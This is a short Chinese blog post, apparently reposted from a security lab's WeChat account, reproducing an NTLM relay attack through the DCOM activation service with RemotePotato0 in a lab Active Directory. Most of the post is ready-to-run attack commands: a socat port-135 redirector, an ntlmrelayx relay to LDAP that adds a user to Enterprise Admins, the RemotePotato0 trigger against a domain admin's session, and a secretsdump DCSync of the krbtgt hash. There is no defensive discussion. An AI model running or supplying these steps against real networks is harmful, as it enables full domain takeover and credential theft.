复现RPC中继NTLM身份验证

2023/12/28 13:42
阅读数 16

滥用 DCOM 激活服务的方法,即解组IStorage对象并将 NTLM 反射回本地 RPC TCP 端点以实现本地权限提升。虽然此漏洞已被修补,但 DCOM 激活服务曾经(现在仍然是)用于 RPC 身份验证的有效触发器。

复现环境:

DC: 10.10.10.139

受害者机器:10.10.10.140

攻击机:10.10.10.178

首先查看用户的会话 可以看到这里有域管的一个会话 可以看他的会话ID为1

然后我们到攻击机进行重定向转发

需要您在vps上重定向转发 sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:(目标机器):9997 &

sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:10.10.10.124:9997 &

进行Ntlm中继监听

python3 ntlmrelayx.py -t ldap://10.10.10.139 --no-wcf-server --escalate-user win2016  这里中继到ldap --escalate-user 这个参数是你要提升权限的用户

接着我们去受害机器触发

.\RemotePotato0.exe -m 0 -r 10.10.10.178 -p 9998 -s 1

这里-s 1 是会话ID为1的域管

接着来到攻击机

可以看到这里已经权限提升成功了 此时win2016这个域用户 就拥有了企业管理员的权限 我们回到受害机可以看到 已经在Enterprise Admins组里面了

dc上也可以看到 这里已经添加成功了

此时我们就可以dcsync了

 python3 secretsdump.py Rt/win2016:Admin123..@10.10.10.139 -dc-ip 10.10.10.139 -just-dc-user krbtgt


本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
加载中
点击引领话题📣 发布并加入讨论🔥
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部